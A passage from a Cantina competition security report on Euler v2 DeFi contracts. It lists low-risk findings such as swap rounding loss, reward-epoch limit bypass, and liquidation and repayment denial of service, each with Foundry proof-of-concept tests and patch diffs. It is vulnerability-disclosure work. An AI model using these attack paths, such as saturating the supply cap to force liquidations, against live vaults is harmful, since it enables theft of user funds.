CANTINA

Euler v2

Competition

November 13, 2024

Contents

1 Introduction

1.1 About Cantina

Cantina is a security services marketplace that connects top security researchers and solutions with clients. Learn more at cantina.xyz

1.2 Disclaimer

A competition provides a broad evaluation of the security posture of the code at a particular moment based on the information available at the time of the review. While competitions endeavor to identify and disclose all potential security issues, they cannot guarantee that every vulnerability will be detected or that the code will be entirely secure against all possible attacks. The assessment is conducted based on the specific commit and version of the code provided. Any subsequent modifications to the code may introduce new vulnerabilities, therefore, any changes made to the code would require an additional security review. Please be advised that competitions are not a replacement for continuous security measures such as penetration testing, vulnerability scanning, and regular code reviews.

1.3 Risk assessment

Severity	Description
Critical	*Must* fix as soon as possible (if already deployed).
High	Leads to a loss of a significant portion (>10%) of assets in the protocol, or significant harm to a majority of users.
Medium	Global losses <10% or losses to only a subset of users, but still unacceptable.
Low	Losses will be annoying but bearable. Applies to things like griefing attacks that can be easily repaired or even gas inefficiencies.
Gas Optimization	Suggestions around gas saving practices.
Informational	Suggestions around best practices or readability.

1.3.1 Severity Classification

The severity of security issues found during the security review is categorized based on the above table. Critical findings have a high likelihood of being exploited and must be addressed immediately. High findings are almost certain to occur, easy to perform, or not easy but highly incentivized thus must be fixed as soon as possible.

Medium findings are conditionally possible or incentivized but are still relatively likely to occur and should be addressed. Low findings a rare combination of circumstances to exploit, or offer little to no incentive to exploit but are recommended to be addressed.

Lastly, some findings might represent objective improvements that should be addressed but do not impact the project's overall security (Gas and Informational findings).

2 Security Review Summary

Euler Labs is a team of developers and quantitative analysts building DeFi applications for the future of finance.

From May 20th to Jun 17th Cantina hosted a competition based on Euler-v2. The participants identified a total of **90** Low Risk and Informational issues.

3 Findings

3.1 Low Risk & Informational

3.1.1 Excess `amountIn` is never refunded when using `swapToUnderlyingGivenIn()` or `swapToSynthGivenIn()`

Submitted by t0x1c

Severity: Low Risk

Context: PegStabilityModule.sol#L75-L78, PegStabilityModule.sol#L107-L110

Description: It's a norm in the DeFi space that while calling a `swap()`, if the user has provided some `amountIn` which is unused or over & above what was required to swap into `amountOut`, then the excess funds are returned. However in Euler, due to the rounding-down which happens in favour of the protocol, any extra Synth or Underlying which the user specifies while calling `swapToUnderlyingGivenIn()` or `swapToSynthGivenIn()` is never returned by the protocol & is completely burned/pulled.

Consider the following scenario which has been later reproduced in the PoC. Please refer those tests for verifying the numbers:

- Suppose Alice wanted to swap some of her Synth to receive `290,000 ether` of the underlying.
- Let's assume a fee of `70%` and conversion rate of `1e18`.
- Option 1:
  - Alice can make use of the `swapToUnderlyingGivenOut()` function by specifying `amountOut` as `290,000 ether`.
  - It can be seen in the PoC that the protocol burns `96666666666666666666666` of Alice's synth and transfers `290,000 ether` of the underlying.
- Alice however goes for Option 2:
  - She calls `swapToUnderlyingGivenIn()` but with `amountIn` as `96666666666666666666669` i.e. virtually sending in an additional 3 wei of Synth.
  - The protocol burns all of this Synth while providing Alice with the same amount of underlying `290,000 ether`.
  - The additional 3 wei are burned too and never returned to Alice.

The same scenario plays out when a user swaps the other way round using `swapToSynthGivenIn()`, also shown in the proof of concept.

In essence the conversion rate is not strictly respected here and can be skewed if this is done multiple times by various users.

Proof of concept: Add the following file at `test/unit/pegStabilityModules/IncorrectPegSwap.t.sol` and run both the tests via `forge test --mt test_t0x1c -vv` to see them pass:

```
// SPDX-License-Identifier: GPL-2.0-or-later

pragma solidity ^0.8.0;

import "forge-std/Test.sol";

import {PegStabilityModule, EVCUtil} from "../../../src/Synths/PegStabilityModule.sol";
import {ESynth, IEVC} from "../../../src/Synths/ESynth.sol";
import {TestERC20} from "../../mocks/TestERC20.sol";
import {EthereumVaultConnector} from "ethereum-vault-connector/EthereumVaultConnector.sol";

contract IncorrectPegSwap is Test {
    uint256 public TO_UNDERLYING_FEE = 7000;
    uint256 public TO_SYNTH_FEE = 7000;
    uint256 public BPS_SCALE = 10000;

    ESynth public synth;
    TestERC20 public underlying;

    PegStabilityModule public psm;
```

```
    IEVC public evc;

    address public owner = makeAddr("owner");
    address public wallet1 = makeAddr("wallet1");
    address public wallet2 = makeAddr("wallet2");

    function setUp() public {
        // Deploy EVC
        evc = new EthereumVaultConnector();

        // Deploy underlying
        underlying = new TestERC20("TestUnderlying", "TUNDERLYING", 18, false);

        // Deploy synth
        vm.prank(owner);
        synth = new ESynth(evc, "TestSynth", "TSYNTH");

        // Deploy PSM
        vm.prank(owner);
        psm = new PegStabilityModule(address(evc), address(synth), address(underlying), TO_UNDERLYING_FEE,
↪   TO_SYNTH_FEE, 1e18);
        vm.label(address(psm), "_PSM_");

        // Give PSM and wallets some underlying
        underlying.mint(address(psm), type(uint128).max / 2);
        underlying.mint(wallet1, type(uint128).max / 2);

        // Approve PSM to spend underlying
        vm.startPrank(wallet1);
        underlying.approve(address(psm), type(uint128).max - 1);
        synth.approve(address(psm), type(uint128).max - 1);
        vm.stopPrank();

        // Set PSM as minter
        vm.prank(owner);
        synth.setCapacity(address(psm), type(uint128).max);

        // Mint some synth to wallets
        vm.startPrank(owner);
        synth.setCapacity(owner, type(uint128).max);
        synth.mint(wallet1, type(uint128).max / 2);
        vm.stopPrank();
    }

    function test_t0x1c_SwapToUnderlying() public {
        uint256 amountOut = 290_000e18;

        vm.startPrank(wallet1);
        uint256 aIn = psm.swapToUnderlyingGivenOut(amountOut, wallet2);
        emit log_named_decimal_uint("synthAmountIn (Case 1)", aIn, 18);

        uint256 balanceBefore = synth.balanceOf(wallet1);
        uint256 aOut = psm.swapToUnderlyingGivenIn(aIn + 3, wallet2); // @audit-info : extra 3 wei supplied by
↪   the user while swapping
        assertEq(aOut, amountOut);

        emit log_named_decimal_uint("synthAmountIn (Case 2)", balanceBefore - synth.balanceOf(wallet1), 18);
        assertGt(balanceBefore - synth.balanceOf(wallet1), aIn); // @audit : Excess funds never returned
    }

    function test_t0x1c_SwapToSynth() public {
        uint256 amountOut = 290_000e18;

        vm.startPrank(wallet1);
        uint256 aIn = psm.swapToSynthGivenOut(amountOut, wallet2);
        emit log_named_decimal_uint("underlyingAmountIn (Case 1)", aIn, 18);

        uint256 balanceBefore = underlying.balanceOf(wallet1);
        uint256 aOut = psm.swapToSynthGivenIn(aIn + 3, wallet2); // @audit-info : extra 3 wei supplied by the
↪   user while swapping
        assertEq(aOut, amountOut);

        emit log_named_decimal_uint("underlyingAmountIn (Case 2)", balanceBefore -
↪   underlying.balanceOf(wallet1), 18);
        assertGt(balanceBefore - underlying.balanceOf(wallet1), aIn); // @audit : Excess funds never returned
    }
```

```
}
```

Output:

```
Ran 2 tests for test/unit/pegStabilityModules/IncorrectPegSwap.t.sol:PSMTest
[PASS] test_t0x1c_SwapToSynth() (gas: 110085)
Logs:
  underlyingAmountIn (Case 1): 966666.666666666666666666
  underlyingAmountIn (Case 2): 966666.666666666666666669

[PASS] test_t0x1c_SwapToUnderlying() (gas: 110574)
Logs:
  synthAmountIn (Case 1): 966666.666666666666666666
  synthAmountIn (Case 2): 966666.666666666666666669
```

Recommendation: Do a reverse calculation to figure out the actual minimum `amountIn` required and only burn/pull that amount:

```
  function swapToUnderlyingGivenIn(uint256 amountIn, address receiver) external returns (uint256) {
      uint256 amountOut = quoteToUnderlyingGivenIn(amountIn);
      if (amountIn == 0 || amountOut == 0) {
          return 0;
      }

+     uint256 amountInRequired = amountOut * BPS_SCALE * PRICE_SCALE / (BPS_SCALE - TO_UNDERLYING_FEE) /
↪  conversionPrice;
-     synth.burn(_msgSender(), amountIn);
+     synth.burn(_msgSender(), amountInRequired);
      underlying.safeTransfer(receiver, amountOut);

      return amountOut;
  }
```

and

```
  function swapToSynthGivenIn(uint256 amountIn, address receiver) external returns (uint256) {
      uint256 amountOut = quoteToSynthGivenIn(amountIn);
      if (amountIn == 0 || amountOut == 0) {
          return 0;
      }

+     uint256 amountInRequired = amountOut * BPS_SCALE * conversionPrice / (BPS_SCALE - TO_SYNTH_FEE) /
↪  PRICE_SCALE;
-     underlying.safeTransferFrom(_msgSender(), address(this), amountIn);
+     underlying.safeTransferFrom(_msgSender(), address(this), amountInRequired);
      synth.mint(receiver, amountOut);

      return amountOut;
  }
```

3.1.2 Neither `MAX_EPOCHS_AHEAD` and `MAX_DISTRIBUTION_LENGTH` enforces the restrictions by themselves

Submitted by CaeraDenoir, also found by jesjupyter

Severity: Low Risk

Context: BaseRewardStreams.sol#L152

Description: This check is not enough to prevent rewards starting after the `MAX_EPOCHS_AHEAD`. Anyone can make a `rewardAmounts` that has 0 value on the index 0 (can have 0 value on every index except one and there would be no issue).

This condition does make it so the maximum distribution length is really `MAX_EPOCHS_AHEAD` + `MAX_DISTRIBUTION_LENGTH`, but does not really enforce that rewards should start streaming from `MAX_EPOCHS_AHEAD` at most.

This is due to anyone being able to simply call `registerReward` twice in order to bypass the original distribution length.

- Examples:

- Making rewards start after `MAX_EPOCHS_AHEAD`

  Let's use the following settings in order to explain it:

```
CurrentEpoch = 1
MAX_EPOCHS_AHEAD = 5
MAX_DISTRIBUTION_LENGTH = 10
```

  Imagine someone wants to distribute rewards in three epochs, those being 9-10-11. Theoretically he should not be able since `MAX_EPOCHS_AHEAD` should prevent it. However this array makes it possible:

```
forgedRewardsAmounts = [0, 0, 0, 0, reward, reward, reward]
```

  If anyone uses this array to call `registerReward`, along with a `startEpoch = epoch + MAX_EPOCHS_AHEAD - 1` it can register rewards bypassing the `MAX_EPOCHS_AHEAD` condition. This is due to how the array will be handled:

```
startEpoch = 5
epoch5  => 0
epoch6  => 0
epoch7  => 0
epoch8  => 0
epoch9  => reward
epoch10 => reward
epoch11 => reward
```

- Setting a distribution longer than `MAX_DISTRIBUTION_LENGTH`

  Let's use the following settings in order to explain it:

```
CurrentEpoch = 1
MAX_EPOCHS_AHEAD = 5
MAX_DISTRIBUTION_LENGTH = 5
```

  In theory, the distribution stream should be at most `MAX_DISTRIBUTION_LENGTH`, which is 5 in this example. However, one can simply call the function twice in order to bypass the restriction.

  Imagine someone wishes to setup rewards from epoch 2 until epoch 9. Instead of creating a huge array, he creates two tiny arrays:

```
tinyRewardAmounts1 = [reward, reward, reward]
tinyRewardAmounts2 = [reward2, reward2, reward2, reward2, reward2]
```

  He then calls the `registerReward` function twice, the first time with startEpoch = 0 (which will set the startEpoch to the next possible epoch) and the `tinyRewardAmounts1`:

```
epoch2 = reward
epoch3 = reward
epoch4 = reward
epoch5 = 0
epoch6 = 0
epoch7 = 0
epoch8 = 0
epoch9 = 0
```

  Then, he calls the `registerReward` function again, with startEpoch = 5 and the `tinyRewardAmounts2` array.

```
epoch2 = reward
epoch3 = reward
epoch4 = reward
epoch5 = reward2
epoch6 = reward2
epoch7 = reward2
epoch8 = reward2
epoch9 = reward2
```

  In this example, the `MAX_DISTRIBUTION_LENGTH` is bypassed by gaming the logic, and calling the function twice.

- Examples analysis:

  In the first example, it is clear that a long `rewardAmounts` array can be used in order to set the true reward stream way later than the expected limit of `MAX_EPOCHS_AHEAD`. In the second example, it is shown how the `MAX_DISTRIBUTION_LENGTH` can be bypassed.

  These two examples combined, lead to the conclusion that the true limit to setting rewards is actually `startEpoch + rewardAmount.length < epoch + MAX_DISTRIBUTION_LENGTH + MAX_EPOCHS_AHEAD`.

Recommendation: If it is not intended for rewards to start after `MAX_EPOCHS_AHEAD`, add a check where `rewardAmounts[0]` must be higher than 0. If there is no problem with that, `MAX_EPOCHS_AHEAD` and `MAX_DISTRIBUTION_LENGTH` can be combined, leaving the `InvalidEpoch` error exclusive to `!(startEpoch>epoch)`, and making the `InvalidDistribution` appear when `!(startEpoch + rewardAmount.length < epoch + MAX_DISTRIBUTION_LENGTH + MAX_EPOCHS_AHEAD)`.

3.1.3 Sub-accounts operator bitmap are non-intuitive and may lead to errors

Submitted by zigtur

Severity: Low Risk

Context: EthereumVaultConnector.sol#L386-L389

Description: EVC handles 256 accounts to a real Ethereum address. The owner of the 256 sub-accounts can allow an operator on a specific sub-account by specifying the address of the sub-account or by directly setting the bit field attached to this operator.

However, the calculations behing this bit field is highly non-intuitive as it uses a XOR of the owner address. This means that the bit index of a sub-account will depend on the last byte of the owner address.

A more intuitive way to handle this bit field would be to not base the sub-account bit index on the owner address but taking the bit index as the last byte of sub-account address.

Proof of concept:

```
- Current state:

    - Let's take an example, with address `0x1111111111111111111111111111111111111122`.
    - The 19-byte address prefix is `0x1111111111111111111111111111111111111111`.
    - Sub-account with bit index 0 is:

        ```python
        0x1111111111111111111111111111111111111122 ^ 0 = 0x1111111111111111111111111111111111111122
        ```
    - Sub-account with bit index 1 is:

        ```python
        0x1111111111111111111111111111111111111122 ^ 1 = 0x1111111111111111111111111111111111111123
        ```
    - Sub-account with bit index 2 is:

        ```python
        0x1111111111111111111111111111111111111122 ^ 2 = 0x1111111111111111111111111111111111111120
        ```
```

As we can see, the bit index and its corresponding address can't be associated easily and intuitively.

- Proposed solution:

  An alternative way to handle the bit indexes is to match the bit index with the last byte of the sub-account index.

  - The 19-byte address prefix is still `0x1111111111111111111111111111111111111111`.
  - Sub-account with bit index 0 is:

```
0x1111111111111111111111111111111111111100 | 0 = 0x1111111111111111111111111111111111111100
```

  - Sub-account with bit index 1 is:

```
0x1111111111111111111111111111111111111100 | 1 = 0x1111111111111111111111111111111111111101
```

- Sub-account with bit index 2 is:

```
0x1111111111111111111111111111111111111100 | 2 = 0x1111111111111111111111111111111111111102
```

By using this, the sub-account address and its bit index can be easily and intuitively linked together.

Recommendation: Bit indexes may be refactored to get more intuitive and less error-prone bit fields for operators.

The following patch implements the proposed solution:

```
diff --git a/src/EthereumVaultConnector.sol b/src/EthereumVaultConnector.sol
index 49622dc..127dfb8 100644
--- a/src/EthereumVaultConnector.sol
+++ b/src/EthereumVaultConnector.sol
@@ -384,9 +384,10 @@ contract EthereumVaultConnector is Events, Errors, TransientStorage, IEVC {
         bytes19 addressPrefix = getAddressPrefixInternal(account);

         // The bitMask defines which accounts the operator is authorized for. The bitMask is created from the
↪  account
-        // number which is a number up to 2^8 in binary, or 256. 1 << (uint160(owner) ^ uint160(account))
↪  transforms
+        // number which is a number up to 2^8 in binary, or 256. uint160(account) & 0xFF transforms
         // that number in an 256-position binary array like 0...010...0, marking the account positionally in
↪  a uint256.
-        uint256 bitMask = 1 << (uint160(owner) ^ uint160(account));
+        // Account binary position corresponds to the last decimals representation of account's last byte
+        uint256 bitMask = uint160(account) & 0xFF;

         // The operatorBitField is a 256-position binary array, where each 1 signals by position the account
↪  that the
         // operator is authorized for.
@@ -1215,9 +1216,10 @@ contract EthereumVaultConnector is Events, Errors, TransientStorage, IEVC {
         bytes19 addressPrefix = getAddressPrefixInternal(account);

         // The bitMask defines which accounts the operator is authorized for. The bitMask is created from the
↪  account
-        // number which is a number up to 2^8 in binary, or 256. 1 << (uint160(owner) ^ uint160(account))
↪  transforms
+        // number which is a number up to 2^8 in binary, or 256. uint160(account) & 0xFF transforms
         // that number in an 256-position binary array like 0...010...0, marking the account positionally in
↪  a uint256.
-        uint256 bitMask = 1 << (uint160(owner) ^ uint160(account));
+        // Account binary position corresponds to the last decimals representation of account's last byte
+        uint256 bitMask = uint160(account) & 0xFF;

         return operatorLookup[addressPrefix][operator] & bitMask != 0;
     }
```

Note: The patch can be applied through `git apply`. Further modifications in test folder may be needed.

3.1.4 Denial of Service in `liquidate` when the liability value is zero prevents liquidation from violators with non-zero debt

Submitted by MalfurionWhitehat

Severity: Low Risk

Context: Liquidation.sol#L130

Description: Denial of Service in `LiquidationModule.liquidate` when the liability value is zero prevents liquidation from violators with non-zero debt. In `LiquidationModule.calculateMaxLiquidation`, the function calculates the `discountFactor` for the reverse Dutch auction liquidation flow by dividing the `collateralAdjustedValue` by the `liabilityValue`, in percentage points. The issue is that the funciton does not correctly handle the scenario where both these values are zero. In this case, the `discountFactor` is undefined, and the function reverts with a `Panic` error code. As a result, users in violation with non-zero debt cannot be liquidated.

From the EVK's whitepaper, users with risk-adjusted collateral value equal to the liability value and non-zero liability amount are in violation, and should be liquidated:

> In order for an account to be healthy, the risk-adjusted value of its collateral assets must be strictly greater than the value of its liability, or the liability amount itself must be exactly zero. When an account is not healthy, it is said to be in violation.

Impact: As per Cantina's Severity Criteria:

> A High impact situation would be one where funds can be lost.

High: Denial of Service in liquidations pose a threat to the solvency of the protocol as it prevents a debt reduction operation

Likelihood: Medium: For this situation to occur, both the collateral, adjusted by the LTV, and the liability values must be zero. This may happen if the LTV is set to a low number (by a Governor's choice, for example when setting LTV to zero), or if the collateral is small enough or not valued enough, and if the liability is small enough (for example, for small borrows), or not valued enough. Because of these preconditions, the likelihood is Medium.

Proof of concept:

```
diff --git a/test/invariants/CryticToFoundrySubmission.sol b/test/invariants/CryticToFoundrySubmission.sol
new file mode 100644
index 0000000..ae7d198
--- /dev/null
+++ b/test/invariants/CryticToFoundrySubmission.sol
@@ -0,0 +1,123 @@
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.19;
+
+// Libraries
+import "forge-std/Test.sol";
+import "forge-std/console.sol";
+import {Errors} from "src/EVault/shared/Errors.sol";
+
+// Test Contracts
+import {Invariants} from "./Invariants.t.sol";
+import {Setup} from "./Setup.t.sol";
+
+/// @title CryticToFoundrySubmission
+/// @notice Foundry wrapper for fuzzer failed call sequences
+/// @dev Regression testing for failed call sequences
+contract CryticToFoundrySubmission is Invariants, Setup {
+    modifier setup() override {
+        _;
+    }
+
+    /// @dev Foundry compatibility faster setup debugging
+    function setUp() public {
+        // Deploy protocol contracts and protocol actors
+        _setUp();
+
+        // Deploy actors
+        _setUpActors();
+
+        // Initialize handler contracts
+        _setUpHandlers();
+
+        actor = actors[USER1];
+
+        vm.label(address(actors[USER1]), "USER1");
+        vm.label(address(actors[USER2]), "USER2");
+        vm.label(address(actors[USER3]), "USER3");
+
+        vm.label(address(assetTST), "TST1");
+        vm.label(address(assetTST2), "TST2");
+        vm.label(address(unitOfAccount), "UNIT");
+
+        vm.label(address(eTST), "eTST1");
+        vm.label(address(eTST2), "eTST2");
+
+        vm.label(address(permit2), "Permit2");
+
+        vm.warp(1524785992);
+        vm.roll(4370000);
+    }
+
```

```
+    function _setUp(address _origin) internal {
+        actor = actors[_origin];
+    }
+
+    function _setUp(
+        address _origin,
+        uint256 _seconds,
+        uint256 blocks
+    ) internal {
+        actor = actors[_origin];
+        vm.warp(block.timestamp + _seconds);
+        vm.roll(block.number + blocks);
+    }
+
+    function test_CryticToFoundrySubmission() public {
+        _setUp(0x0000000000000000000000000000000000010000);
+        this.enableCollateral(0);
+        _setUp(0x0000000000000000000000000000000000010000);
+        this.enableController(
+            418765869047871413977520637943424662149946781267068886
+        );
+        _setUp(0x0000000000000000000000000000000000010000);
+        this.setPrice(0, 10);
+        _setUp(0x0000000000000000000000000000000000010000);
+        this.setLTV(
+            237893573106775743569013237429074718063847565539868987698 1,
+            1,
+            0
+        );
+        _setUp(0x0000000000000000000000000000000000010000);
+        this.mintToActor(1, 17983);
+        _setUp(0x0000000000000000000000000000000000010000);
+        this.borrowTo(
+            1,
+            22394981645376843739047787684156566142927211012804444284 4700
+        );
+        _setUp(
+            0x0000000000000000000000000000000000020000,
+            198598 seconds,
+            9966
+        );
+        this.enableController(
+            113483481819821293433435300340260653332466781087637710428987909815569685428092
+        );
+        _setUp(
+            0x0000000000000000000000000000000000010000,
+            31594 seconds,
+            23403
+        );
+        this.mintToActor(
+            1524785993,
+            89084139993676954242139824151764251741742336645436254714804524147307536788177
+        );
+        _setUp(0x0000000000000000000000000000000000020000);
+
+        address violator = _getRandomActor(
+            187358515130414410770211853975083748097038591958125814841944584812012726804 68
+        );
+        (
+            uint256 collateralValue,
+            uint256 liabilityValue
+        ) = _getAccountLiquidity(violator, true);
+        assertGt(eTST.debtOf(violator), 0, "debt is positive");
+        assertEq(liabilityValue, 0, "liabilityValue is zero");
+        assertEq(collateralValue, 0, "collateralValue is zero");
+        this.liquidate(
+            type(uint256).max,
+            0,
+            187358515130414410770211853975083748097038591958125814841944584812012726804 68
+        );
+    }
+}
diff --git a/test/invariants/handlers/modules/LiquidationModuleHandler.t.sol
↪  b/test/invariants/handlers/modules/LiquidationModuleHandler.t.sol
index bfd6724..1a6a66c 100644
```

```
--- a/test/invariants/handlers/modules/LiquidationModuleHandler.t.sol
+++ b/test/invariants/handlers/modules/LiquidationModuleHandler.t.sol
@@ -34,7 +34,7 @@ contract LiquidationModuleHandler is BaseHandler {
         bool violatorStatus = isAccountHealthyLiquidation(violator);

         {
-            address collateral = _getRandomAccountCollateral(i, address(actor));
+            address collateral = _getRandomAccountCollateral(i, violator);

             _before();
             (success, returnData) = actor.proxy(
```

Recommendation: In case of worthless collateral/liability, do not apply the discount factor and instead allow the liquidation to proceed normally, so that the liquidator can take the collateral for free:

```
diff --git a/src/EVault/modules/Liquidation.sol b/src/EVault/modules/Liquidation.sol
index 07e5bb3..bf62a39 100644
--- a/src/EVault/modules/Liquidation.sol
+++ b/src/EVault/modules/Liquidation.sol
@@ -123,6 +123,7 @@ abstract contract LiquidationModule is ILiquidation, BalanceUtils, LiquidityUtil

         // no violation
         if (collateralAdjustedValue > liabilityValue) return liqCache;
+        if (collateralAdjustedValue == 0 || liabilityValue == 0) return liqCache;

         // Compute discount
```

3.1.5 Denial of Service in `BorrowingModule.repay` when the supply cap is reached

Submitted by MalfurionWhitehat

Severity: Low Risk

Context: RiskManager.sol#L113

Description: Denial of Service in `BorrowingModule.repay` when the supply cap is reached. In `Borrowing.sol`, the `repay` function is used to clear a user's debt by pulling assets to the contract and decreasing their borrowing balance by the repaid amount.

The issue is that this function reverts with `E_SupplyCapExceeded` when the borrowing cap is reached, as a result of a logic issue on the `RiskManagerModule.checkVaultStatus` function. This is triggered by the `initOperation(OP_REPAY, CHECKACCOUNT_NONE)` action during `repay`, which requests the `EthereumVaultConnector` to perform a `requireVaultStatusCheck` into the vault.

The implementation of this important risk management function incorrectly reverts if the supply grows and is greater than the cap, which can be the case during a repayment close to the vault's cap:

```
if (supply > vaultCache.supplyCap && supply > prevSupply) revert E_SupplyCapExceeded();
```

An attacker can exploit this vulnerability by depositing tokens up to the supply cap limit, which would prevent borrowers from repaying their loans and improving their health status, breaking a critical invariant of the system: `BM_INVARIANT_P: a user can always repay debt in full`. By doing so, the attacker can force liquidations, for example, causing significant damage to the overall health of vaults with caps.

Impact: As per Cantina's Severity Criteria:

> A High impact situation would be one where funds can be lost.

High:

- Denial of Service in repayments pose a threat to the solvency of the protocol as it prevents a debt reduction operation.
- Important system invariant broken.

Likelihood: As per Cantina's Severity Criteria:

> A High likelihood situation would be one in which any participant can trigger such a bug in the protocol.

High: This issue will always happen when the supply cap exists, which is a quite likely scenario, especially in guarded launches or new vaults, and it can be triggered by an attacker with enough funds to saturate the limit.

Proof of concept:

```
diff --git a/test/invariants/CryticToFoundrySubmission.sol b/test/invariants/CryticToFoundrySubmission.sol
new file mode 100644
index 0000000..af3bb4c
--- /dev/null
+++ b/test/invariants/CryticToFoundrySubmission.sol
@@ -0,0 +1,75 @@
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.19;
+
+// Libraries
+import "forge-std/Test.sol";
+import "forge-std/console.sol";
+import {Errors} from "src/EVault/shared/Errors.sol";
+
+// Test Contracts
+import {Invariants} from "./Invariants.t.sol";
+import {Setup} from "./Setup.t.sol";
+
+/// @title CryticToFoundrySubmission
+/// @notice Foundry wrapper for fuzzer failed call sequences
+/// @dev Regression testing for failed call sequences
+contract CryticToFoundrySubmission is Invariants, Setup {
+    modifier setup() override {
+        _;
+    }
+
+    /// @dev Foundry compatibility faster setup debugging
+    function setUp() public {
+        // Deploy protocol contracts and protocol actors
+        _setUp();
+
+        // Deploy actors
+        _setUpActors();
+
+        // Initialize handler contracts
+        _setUpHandlers();
+
+        actor = actors[USER1];
+
+        vm.label(address(actors[USER1]), "USER1");
+        vm.label(address(actors[USER2]), "USER2");
+        vm.label(address(actors[USER3]), "USER3");
+
+        vm.label(address(assetTST), "TST1");
+        vm.label(address(assetTST2), "TST2");
+        vm.label(address(unitOfAccount), "UNIT");
+
+        vm.label(address(eTST), "eTST1");
+        vm.label(address(eTST2), "eTST2");
+
+        vm.label(address(permit2), "Permit2");
+
+        vm.warp(1524785992);
+        vm.roll(4370000);
+    }
+
+    function _setUp(address _origin) internal {
+        actor = actors[_origin];
+    }
+
+    function _setUp(address _origin, uint256 _seconds, uint256 blocks) internal {
+        actor = actors[_origin];
+        vm.warp(block.timestamp + _seconds);
+        vm.roll(block.number + blocks);
+    }
+
+    function test_CryticToFoundrySubmission() public {
+        this.enableCollateral(0);
+        this.mintToActor(2195855, 0);
+        this.enableController(22780414902123288681407121257557094190769709439894205478403402);
```

```
+        this.setCaps(1, 0);
+        this.setLTV(110938666527057924670147942669498582041395034056 6, 1, 1, 0);
+        this.setPrice(0, 177906481488139343827102015601321122213049728);
+        this.borrowTo(1, 3100776723372606801091269180775 98);
+        _setUp(USER1, 624, 1);
+        this.convertFees();
+        _setUp(USER1, 168757 seconds, 1);
+        // reverts with E_SupplyCapExceeded
+        this.repayTo(type(uint256).max, 27686964378131150868110286130416515508617468289278238);
+    }
+}
diff --git a/test/invariants/handlers/modules/BorrowingModuleHandler.t.sol
↪  b/test/invariants/handlers/modules/BorrowingModuleHandler.t.sol
index 4b2bb88..474373f 100644
--- a/test/invariants/handlers/modules/BorrowingModuleHandler.t.sol
+++ b/test/invariants/handlers/modules/BorrowingModuleHandler.t.sol
@@ -7,6 +7,7 @@ import "forge-std/console.sol";
 // Test Contracts
 import {Actor} from "../../utils/Actor.sol";
 import {BaseHandler} from "../../base/BaseHandler.t.sol";
+import {Errors} from "../../../../src/EVault/shared/Errors.sol";

 // Interfaces
 import {IBorrowing, IERC4626} from "../../../../src/EVault/IEVault.sol";
@@ -75,6 +76,9 @@ contract BorrowingModuleHandler is BaseHandler {
             /// @dev BM_INVARIANT_D
             assertLe(liabilityValueAfter, liabilityValueBefore, BM_INVARIANT_D);
         }
+        else {
+            assertTrue(bytes4(returnData) != Errors.E_SupplyCapExceeded.selector, BM_INVARIANT_P);
+        }
     }

     function repayWithShares(uint256 amount, uint256 i) external setup {
diff --git a/test/invariants/handlers/simulators/PriceOracleHandler.t.sol
↪  b/test/invariants/handlers/simulators/PriceOracleHandler.t.sol
index 04b7a7e..5c314bf 100644
--- a/test/invariants/handlers/simulators/PriceOracleHandler.t.sol
+++ b/test/invariants/handlers/simulators/PriceOracleHandler.t.sol
@@ -20,6 +20,7 @@ contract PriceOracleHandler is BaseHandler {

     /// @notice This function simulates changes in the interest rate model
     function setPrice(uint256 i, uint256 price) external {
+        price = clampBetween(price, 0, type(uint128).max);
         address baseAsset = _getRandomBaseAsset(i);

         oracle.setPrice(baseAsset, unitOfAccount, price);
```

Recommendation: Allow operations that increase the supply if they reduce the debt by at least the same amount:

```
diff --git a/src/EVault/modules/RiskManager.sol b/src/EVault/modules/RiskManager.sol
index f13b7f7..0f88f4c 100644
--- a/src/EVault/modules/RiskManager.sol
+++ b/src/EVault/modules/RiskManager.sol
@@ -110,7 +110,18 @@ abstract contract RiskManagerModule is IRiskManager, LiquidityUtils {
             // while totalBorrows would be adjusted by only the exact debt, less than the increase in cash.
             uint256 supply = vaultCache.cash.toUint() + vaultCache.totalBorrows.toAssetsDown().toUint();

-            if (supply > vaultCache.supplyCap && supply > prevSupply) revert E_SupplyCapExceeded();
+            // if the supply is above the cap
+            if (supply > vaultCache.supplyCap) {
+                uint256 supplyIncrease = supply > prevSupply ? supply - prevSupply : 0;
+                uint256 debtDecrease = prevBorrows > borrows ? prevBorrows - borrows : 0;
+
+                // and the supply increase is greater than the debt reduction
+                if (supplyIncrease > debtDecrease) {
+                    revert E_SupplyCapExceeded();
+                }
+                // otherwise, the debt reduction was at least the inflow of assets: do not revert
+            }
+            // otherwise, the supply is below the cap: do not revert

             snapshot.reset();
         }
```

3.1.6 Self liquidation with sub-accounts is allowed, which can enable "future unknown protocol attacks"

Submitted by MalfurionWhitehat, also found by ayeslick

Severity: Low Risk

Context: Liquidation.sol#L80

Description: Self liquidation with sub-accounts is allowed, which can enable "future unknown protocol attacks". The Euler v1 hack was enabled by two flaws in its system:

1. First, an issue with `donateToReserves` allowed the attacker to put themselves in a liquidatable state.
2. Second, the system did not prevent self liquidations.

By leveraging these two problems, the attacker was able to liquidate themselves for profit, draining the whole protocol.

In Euler v2, the developers decided to disallow self-liquidations to prevent similar attacks, but they failed to account for sub-accounts. As a result, sub-accounts are allowed to liquidate other sub-accounts controlled by the same owner. Although this by itself does not create any issues leading to loss of funds, it is a pre-requisite of a major hack that happened in the past. Since Euler is putting a lot of effort in preventing "future unknown protocol attacks", as stated on the EVK whitepaper, it is adviseable that this door is also closed to reduce the attack surface of the system.

Since this vulnerability does not explain a clear path leading to loss of funds, it is classified as a Low severity issue.

Recommendation: Do not allow sub-accounts from the same owner to liquidate themselves.

3.1.7 `IRMSynth` must return previous rate in case oracle quote is zero instead of updating it

Submitted by T1MOH, also found by 0xTheBlackPanther and krikolkk

Severity: Low Risk

Context: IRMSynth.sol#L84

Description: According to whitepaper:

2. If the oracle returns a zero quote, return previous rate

However `IRMSynth` doesn't handle this case and updates rate if quote is 0:

```
function _computeRate(IRMData memory irmCache) internal view returns (uint216 rate, bool updated) {
    updated = false;
    rate = irmCache.lastRate;

    // If not time to update yet, return the last rate
    if (block.timestamp < irmCache.lastUpdated + ADJUST_INTERVAL) {
        return (rate, updated);
    }

    uint256 quote = oracle.getQuote(quoteAmount, synth, referenceAsset); // <<<

    updated = true;

    if (quote < targetQuote) {
        // If the quote is less than the target, increase the rate
        rate = rate * ADJUST_FACTOR / ADJUST_ONE;
    } else {
        // If the quote is greater than the target, decrease the rate
        rate = rate * ADJUST_ONE / ADJUST_FACTOR;
    }

    // Apply the min and max rates
    if (rate < BASE_RATE) {
